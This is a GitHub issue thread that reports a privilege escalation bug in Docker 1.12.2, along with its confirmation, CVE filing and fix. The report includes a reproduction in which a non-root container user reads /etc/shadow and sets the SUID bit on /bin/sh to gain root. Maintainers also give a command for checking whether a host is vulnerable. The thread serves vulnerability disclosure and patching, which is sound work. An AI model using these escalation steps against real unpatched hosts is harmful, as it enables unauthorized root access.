Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible container privilege escalation: Docker 1.12.2 does not correctly apply user permissions in containers. #27590

Closed
phillipma opened this issue Oct 20, 2016 · 16 comments
Milestone

Comments

@phillipma
Copy link

phillipma commented Oct 20, 2016

Description
Docker 1.12.2 does not correctly apply user permissions in containers.

Steps to reproduce the issue:

  1. Create a Dockerfile as follows:
FROM debian
RUN useradd example
RUN id
USER example
RUN id
RUN cat /etc/shadow
CMD /bin/bash
  1. docker build --no-cache -t example .
Sending build context to Docker daemon 155.1 MB
Step 1 : FROM debian
 ---> ddf73f48a05d
Step 2 : RUN useradd example
 ---> Running in 1791589193df
 ---> 8b03b79855a4
Removing intermediate container 1791589193df
Step 3 : RUN id
 ---> Running in b2ff8d1cad96
uid=0(root) gid=0(root) groups=0(root)
 ---> 3a17be9d5e6f
Removing intermediate container b2ff8d1cad96
Step 4 : USER example
 ---> Running in 7d07637c4492
 ---> 946266261780
Removing intermediate container 7d07637c4492
Step 5 : RUN id
 ---> Running in 22ae65564b94
uid=1000(example) gid=1000(example) groups=1000(example)
 ---> 6486bfff2351
Removing intermediate container 22ae65564b94
Step 6 : RUN cat /etc/shadow
 ---> Running in 545e009f4250
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
example:!:17094:0:99999:7:::
 ---> a20eb2ad353a
Removing intermediate container 545e009f4250
Step 7 : CMD /bin/bash
 ---> Running in 3bc78e8b7617
 ---> 7cd3b55873c7
Removing intermediate container 3bc78e8b7617
Successfully built 7cd3b55873c7
  1. docker run -u example -it example
example@2fdde3bace94:/$ id
uid=1000(example) gid=1000(example) groups=1000(example)
example@2fdde3bace94:/$ whoami
example
example@2fdde3bace94:/$ chmod +s /bin/sh
example@2fdde3bace94:/$ /bin/sh
# whoami
root
# 

Describe the results you received:
When a non privileged user is defined in the Dockerfile, the container, as expected, starts as a non privileged user. Even if a non-privileged user is enforced, privileged commands can be executed.
This behavior only happens with Docker version 1.12.2, build bb80604 and and has been tested both with and without setting the -u modifier.

I have also tested Docker 1.12.1 and this issue does not occur:

docker build -t newversion . --no-cache
Sending build context to Docker daemon 155.1 MB
Step 1 : FROM registry.access.redhat.com/rhel7.2:latest
 ---> 98a88a8b722a
Step 2 : RUN useradd example
 ---> Running in a634c08405f8
 ---> 060c945c7f30
Removing intermediate container a634c08405f8
Step 3 : RUN id
 ---> Running in 8aaad2d0cabe
uid=0(root) gid=0(root) groups=0(root)
 ---> 599f75c31f64
Removing intermediate container 8aaad2d0cabe
Step 4 : USER example
 ---> Running in 97356bf6dc19
 ---> 9d57a913b64a
Removing intermediate container 97356bf6dc19
Step 5 : RUN id
 ---> Running in 5d49b3a7c03d
uid=1000(example) gid=1000(example) groups=1000(example)
 ---> fd1effd96c25
Removing intermediate container 5d49b3a7c03d
Step 6 : RUN cat /etc/shadow
 ---> Running in 42539688c8c1
cat: /etc/shadow: Permission denied
The command '/bin/sh -c cat /etc/shadow' returned a non-zero code: 1

docker -v
Docker version 1.12.1, build 23cf638

The issue is reproducible with various image defined in FROM : alpine, centos, rhel, debian...

Describe the results you expected:
Non privileged users inside containers should not be able to access privileged system functions. The following actions were possible as a non privileged user:

  • Write to /
  • Read and write to /etc/shadow
  • Add SUID to sh
  • Add users to the system

Additional information you deem important (e.g. issue happens only occasionally):

Output of docker version:

Client:
 Version:      1.12.2
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   bb80604
 Built:        Tue Oct 11 17:53:36 2016
 OS/Arch:      linux/amd64

Server:
 Version:      1.12.2
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   bb80604
 Built:        Tue Oct 11 17:53:36 2016
 OS/Arch:      linux/amd64

Output of docker info:

Containers: 191
 Running: 2
 Paused: 0
 Stopped: 189
Images: 56
Server Version: 1.12.2
Storage Driver: aufs
 Root Dir: /var/lib/docker/aufs
 Backing Filesystem: extfs
 Dirs: 591
 Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: host null bridge overlay
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options:
Kernel Version: 4.5.0-kali1-amd64
Operating System: Kali GNU/Linux Rolling
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 15.37 GiB
Name: Omega
ID: 3W4I:EJTU:52I3:PUB3:VS3R:UVZ7:PRLI:GE4D:A7TL:IQGA:Q3DO:V5V7
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Username: *****
Registry: https://index.docker.io/v1/
WARNING: No memory limit support
WARNING: No swap limit support
WARNING: No kernel memory limit support
WARNING: No oom kill disable support
Insecure Registries:
 127.0.0.0/8

Additional environment details (AWS, VirtualBox, physical, etc.):

Tested on Kali Linux, Fedora and Ubuntu LTS

@phillipma phillipma changed the title Docker 1.12.2 does not correctly apply user permissions in containers. Possible container privilege escalation: Docker 1.12.2 does not correctly apply user permissions in containers. Oct 20, 2016
@icecrime icecrime added this to the 1.12.3 milestone Oct 20, 2016
@riyazdf
Copy link
Contributor

riyazdf commented Oct 20, 2016

Hi @phillipma, thanks for bringing this to our attention. We've reproduced this internally and are preparing a fix for a 1.12.3 release.

It appears that there was a misconfiguration for ambient capabilities that were brought in with this runc commit, so this is an issue for kernels 4.3+. We've also seen this issue manifest itself in docker for mac here.

@vielmetti
Copy link

Is this a big enough issue to suggest a security advisory?

@vieux
Copy link
Contributor

vieux commented Oct 24, 2016

Fixed by #27610

@vieux vieux closed this as completed Oct 24, 2016
@thaJeztah
Copy link
Member

@phillipma
Copy link
Author

@thaJeztah Honorable mention for the CVE?:)

@thaJeztah
Copy link
Member

@riyazdf ^^

@riyazdf
Copy link
Contributor

riyazdf commented Oct 24, 2016

@vielmetti: as @thaJeztah mentioned, we've filed a CVE with MITRE against 1.12.2 for this issue and will prepare a formal security advisory upon release of 1.12.3.

@phillipma: we really appreciate your report on this issue, though this issue was the first discovery and so we've filed the CVE with @gtardif as the discoverer.

@justincormack
Copy link
Contributor

This will be fixed in 1.12.3, was reported elsewhere, we are currently
fixing it.

On 20 Oct 2016 6:13 p.m., "phillipma" notifications@github.com wrote:

Description
Docker 1.12.2 does not correctly apply user permissions in containers.

Steps to reproduce the issue:

  1. Create Dockerfile as follows:

FROM debian
RUN useradd example
RUN id
USER example
RUN id
RUN cat /etc/shadow
CMD /bin/bash

docker build --no-cache -t example .
Sending build context to Docker daemon 155.1 MB
Step 1 : FROM debian
---> ddf73f48a05d
Step 2 : RUN useradd example
---> Running in 1791589193df
---> 8b03b79855a4
Removing intermediate container 1791589193df
Step 3 : RUN id
---> Running in b2ff8d1cad96
uid=0(root) gid=0(root) groups=0(root)
---> 3a17be9d5e6f
Removing intermediate container b2ff8d1cad96
Step 4 : USER example
---> Running in 7d07637c4492
---> 946266261780
Removing intermediate container 7d07637c4492
Step 5 : RUN id
---> Running in 22ae65564b94
uid=1000(example) gid=1000(example) groups=1000(example)
---> 6486bfff2351
Removing intermediate container 22ae65564b94
Step 6 : RUN cat /etc/shadow
---> Running in 545e009f4250
root:
:17067:0:99999:7::: daemon::17067:0:99999:7:::
bin:
:17067:0:99999:7::: sys::17067:0:99999:7:::
sync:
:17067:0:99999:7::: games::17067:0:99999:7:::
man:
:17067:0:99999:7::: lp::17067:0:99999:7:::
mail:
:17067:0:99999:7::: news::17067:0:99999:7:::
uucp:
:17067:0:99999:7::: proxy::17067:0:99999:7:::
www-data:
:17067:0:99999:7::: backup::17067:0:99999:7:::
list:
:17067:0:99999:7::: irc::17067:0:99999:7:::
gnats:
:17067:0:99999:7::: nobody::17067:0:99999:7:::
systemd-timesync:
:17067:0:99999:7::: systemd-network::17067:0:99999:7:::
systemd-resolve:
:17067:0:99999:7::: systemd-bus-proxy::17067:0:99999:7:::
example:!:17094:0:99999:7:::
---> a20eb2ad353a
Removing intermediate container 545e009f4250
Step 7 : CMD /bin/bash
---> Running in 3bc78e8b7617
---> 7cd3b55873c7
Removing intermediate container 3bc78e8b7617
Successfully built 7cd3b55873c7
2.

docker run -u example -it example
example@2fdde3b https://github.com/example/docker/commit/2fdde3bace94:/$
id
uid=1000(example) gid=1000(example) groups=1000(example)
example@2fdde3b https://github.com/example/docker/commit/2fdde3bace94:/$
whoami
example
example@2fdde3b https://github.com/example/docker/commit/2fdde3bace94:/$
chmod +s /bin/sh
example@2fdde3b https://github.com/example/docker/commit/2fdde3bace94:/$
/bin/sh
whoami

root

Describe the results you received:
When a non privileged user is defined in the Dockerfile, the container
starts as non privileged user as expected. However this user can do the
same operations as root inside the container.
This behavior only happens with Docker version 1.12.2, build bb80604
bb80604
We have tried Docker 1.12.1 and this issue does not occur:

docker build -t newversion . --no-cache
Sending build context to Docker daemon 155.1 MB
Step 1 : FROM registry.access.redhat.com/rhel7.2:latest
---> 98a88a8b722a
Step 2 : RUN useradd example
---> Running in a634c08405f8
---> 060c945c7f30
Removing intermediate container a634c08405f8
Step 3 : RUN id
---> Running in 8aaad2d0cabe
uid=0(root) gid=0(root) groups=0(root)
---> 599f75c31f64
Removing intermediate container 8aaad2d0cabe
Step 4 : USER example
---> Running in 97356bf6dc19
---> 9d57a913b64a
Removing intermediate container 97356bf6dc19
Step 5 : RUN id
---> Running in 5d49b3a7c03d
uid=1000(example) gid=1000(example) groups=1000(example)
---> fd1effd96c25
Removing intermediate container 5d49b3a7c03d
Step 6 : RUN cat /etc/shadow
---> Running in 42539688c8c1
cat: /etc/shadow: Permission denied
The command '/bin/sh -c cat /etc/shadow' returned a non-zero code: 1

docker -v
Docker version 1.12.1, build 23cf638
23cf638

This issue happens with any image defined in FROM

Describe the results you expected:
Non privileged users inside containers should not be able to access
privileged system functions

Additional information you deem important (e.g. issue happens only
occasionally):

Output of docker version:

Client:
Version: 1.12.2
API version: 1.24
Go version: go1.6.3
Git commit: bb80604
Built: Tue Oct 11 17:53:36 2016
OS/Arch: linux/amd64

Server:
Version: 1.12.2
API version: 1.24
Go version: go1.6.3
Git commit: bb80604
Built: Tue Oct 11 17:53:36 2016
OS/Arch: linux/amd64

Output of docker info:

Containers: 191
Running: 2
Paused: 0
Stopped: 189
Images: 56
Server Version: 1.12.2
Storage Driver: aufs
Root Dir: /var/lib/docker/aufs
Backing Filesystem: extfs
Dirs: 591
Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
Volume: local
Network: host null bridge overlay
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options:
Kernel Version: 4.5.0-kali1-amd64
Operating System: Kali GNU/Linux Rolling
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 15.37 GiB
Name: Omega
ID: 3W4I:EJTU:52I3:PUB3:VS3R:UVZ7:PRLI:GE4D:A7TL:IQGA:Q3DO:V5V7
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Username: twistlockreader
Registry: https://index.docker.io/v1/
WARNING: No memory limit support
WARNING: No swap limit support
WARNING: No kernel memory limit support
WARNING: No oom kill disable support
Insecure Registries:
127.0.0.0/8

Additional environment details (AWS, VirtualBox, physical, etc.):

Tested on Debian and Fedora


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
#27590, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAdcPDw6z5cocgdHIS7kmgBxmHoLrZdPks5q16EagaJpZM4KcYO3
.

@justincormack
Copy link
Contributor

@phillipma unfortunately you were too late... Sorry!

On 24 Oct 2016 18:31, "phillipma" notifications@github.com wrote:

@thaJeztah https://github.com/thaJeztah Honorable mention for the CVE?:)


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
#27590 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAdcPPk0rll7d9c4j1zVlmJtcL6uKetDks5q3OtggaJpZM4KcYO3
.

@frol
Copy link

frol commented Oct 28, 2016

Hmm, this is odd, but I still experience this bug even after upgrade to Docker 1.12.3! (I have tested on Ubuntu 16.04 and Arch Linux) My bad, sorry.

@justincormack
Copy link
Contributor

@frol can you give the output of docker-runc --version and also how did you install these versions on arch and Ubuntu?

@frol
Copy link

frol commented Oct 28, 2016

@justincormack Here you are:

Arch Linux:

$ docker-runc --version
runc version 1.0.0-rc1
commit: cc29e3dded8e27ba8f65738f40d251c885030a28
spec: 1.0.0-rc1

$ docker info
 Containers: 39
 Running: 5
 Paused: 0
 Stopped: 34
Images: 376
Server Version: 1.12.3
Storage Driver: aufs
 Root Dir: /mnt/storage/docker/aufs
 Backing Filesystem: extfs
 Dirs: 529
 Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: overlay bridge host null
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options: seccomp
Kernel Version: 4.8.2-1-lqx
Operating System: Arch Linux
OSType: linux
Architecture: x86_64
CPUs: 8
Total Memory: 15.59 GiB
Name: redatopa
ID: MEAE:QF2M:BCAF:TIDV:3YR2:TGVZ:CNYH:KES2:SZWO:HSJS:2RYM:BDMR
Docker Root Dir: /mnt/storage/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
Insecure Registries:
 127.0.0.0/8

$ pacman -Ss docker
community/docker 1:1.12.3-1 [installed]
    Pack, ship and run any application as a lightweight container

Ubuntu 16.04

$ docker-runc --version
runc version 1.0.0-rc2
commit: f59ba3cdd76fdc08c004f42aa915996f6f420899
spec: 1.0.0-rc2-dev

$ docker info
Containers: 8
 Running: 3
 Paused: 0
 Stopped: 5
Images: 244
Server Version: 1.12.3
Storage Driver: aufs
 Root Dir: /mnt/storage/docker/aufs
 Backing Filesystem: extfs
 Dirs: 333
 Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: overlay bridge host null
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options: apparmor seccomp
Kernel Version: 4.4.0-45-generic
Operating System: Ubuntu 16.04.1 LTS
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 3.843 GiB
Name: netatopa
ID: NDXA:MDLW:XNWY:PTF7:ZDTP:U2DF:CUYC:Z45T:75AO:BM66:OBLS:PNAM
Docker Root Dir: /mnt/storage/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
WARNING: No swap limit support
Insecure Registries:
 127.0.0.0/8

$ apt-cache policy docker-engine
docker-engine:
  Installed: 1.12.3-0~xenial
  Candidate: 1.12.3-0~xenial
  Version table:
 *** 1.12.3-0~xenial 500
        500 https://apt.dockerproject.org/repo ubuntu-xenial/main amd64 Packages
        100 /var/lib/dpkg/status

@justincormack
Copy link
Contributor

justincormack commented Oct 28, 2016

Ok, the Ubuntu commit f59ba3cdd76fdc08c004f42aa915996f6f420899 is correct, and should not have the issue assuming it is actually using that version. Can you provide the full dockerd arguments from ps auxww | grep dockerd and the contents of /etc/docker/daemon.json (if present) and the output of docker run --user 1000:1000 busybox chown 100 /tmp (edited)

The arch Linux version does look like it needs patching, Can you file an issue with Arch - we do not provide this package. You can use the static binaries we provide from the tarballs, or you should be able to use the docker-runc from an official install (assuming the problem is not there in Ubuntu above!) as it is also statically linked, or downgrade to 1.12.1 until there is a fix.

@justincormack
Copy link
Contributor

Sorry there was an error I amended it, running docker run --user 1000:1000 busybox chown 100 /tmp is a good test of whether there is an issue, it should give an Operation not permitted error if the issue is resolved, and succeed if vulnerable

@frol
Copy link

frol commented Oct 28, 2016

Ouch... This seems to be my mistake. I am so sorry, I was running wrong commands on the updated hosts, they didn't include --user nobody option, so they were running as root.

I am sorry for this noise :(

Both Arch Linux and Ubuntu are not affected by this bug in 1.12.3.

@justincormack
Copy link
Contributor

@frol no problem

Looking at the Arch commit, that is actually an old version of runc, from June, so is not vulnerable, however they should update it in line with docker and containerd, or there may be compatibility issues.

justincormack added a commit to justincormack/docker that referenced this issue Nov 4, 2016
Until we can support existing behaviour with `sudo` disable
ambient capabilities in runc build.

Add tests that non root user cannot use default capabilities,
and that capabilities are working as expected.

Test for moby#27590

Update runc.

Signed-off-by: Justin Cormack <justin.cormack@docker.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

9 participants